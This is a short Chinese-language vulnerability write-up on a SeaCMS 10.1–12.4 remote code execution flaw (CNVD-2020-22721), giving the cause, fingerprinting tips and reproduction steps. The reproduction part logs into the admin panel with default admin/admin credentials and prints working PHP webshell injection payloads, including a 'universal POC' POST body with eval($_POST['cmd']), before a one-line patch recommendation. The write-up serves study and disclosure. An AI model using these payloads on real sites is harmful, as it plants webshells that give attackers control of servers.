五、seacms 远程命令执行 （CNVD-2020-22721）

5.1、漏洞原理

在w1aqhp/admin_ip.php下第五行使用set参数，对用户输入没有进行任何处理，直接写入文件。攻击者可利用该漏洞执行恶意代码，获取服务器权限

5.2、影响版本

seacms10.1-12.4 

5.3、指纹识别

1.可直接尝试后台manager

2.使用Goby、AWVS、指纹识别类平台识别。 

5.4、漏洞复现

首先进入后台，地址为ip:端口/manager 默认用户名和密码admin/admin

进入后台之后，找到IP安全设置选项 目录为：admin_ip.php

打开Burp Suite工具，开始拦截数据包。

结尾添加webshell

";eval($_POST[password]);//

/data/admin/notify.php

/data/admin/ip.php

/data/admin/ping.php

/data/admin/weixin.php  

以上四处存在代码执行情况通用POC：

v=0&ip=+1111111";eval($_POST['cmd']);//

保存后会直接执行。 

5.5、整改建议

升级、打补丁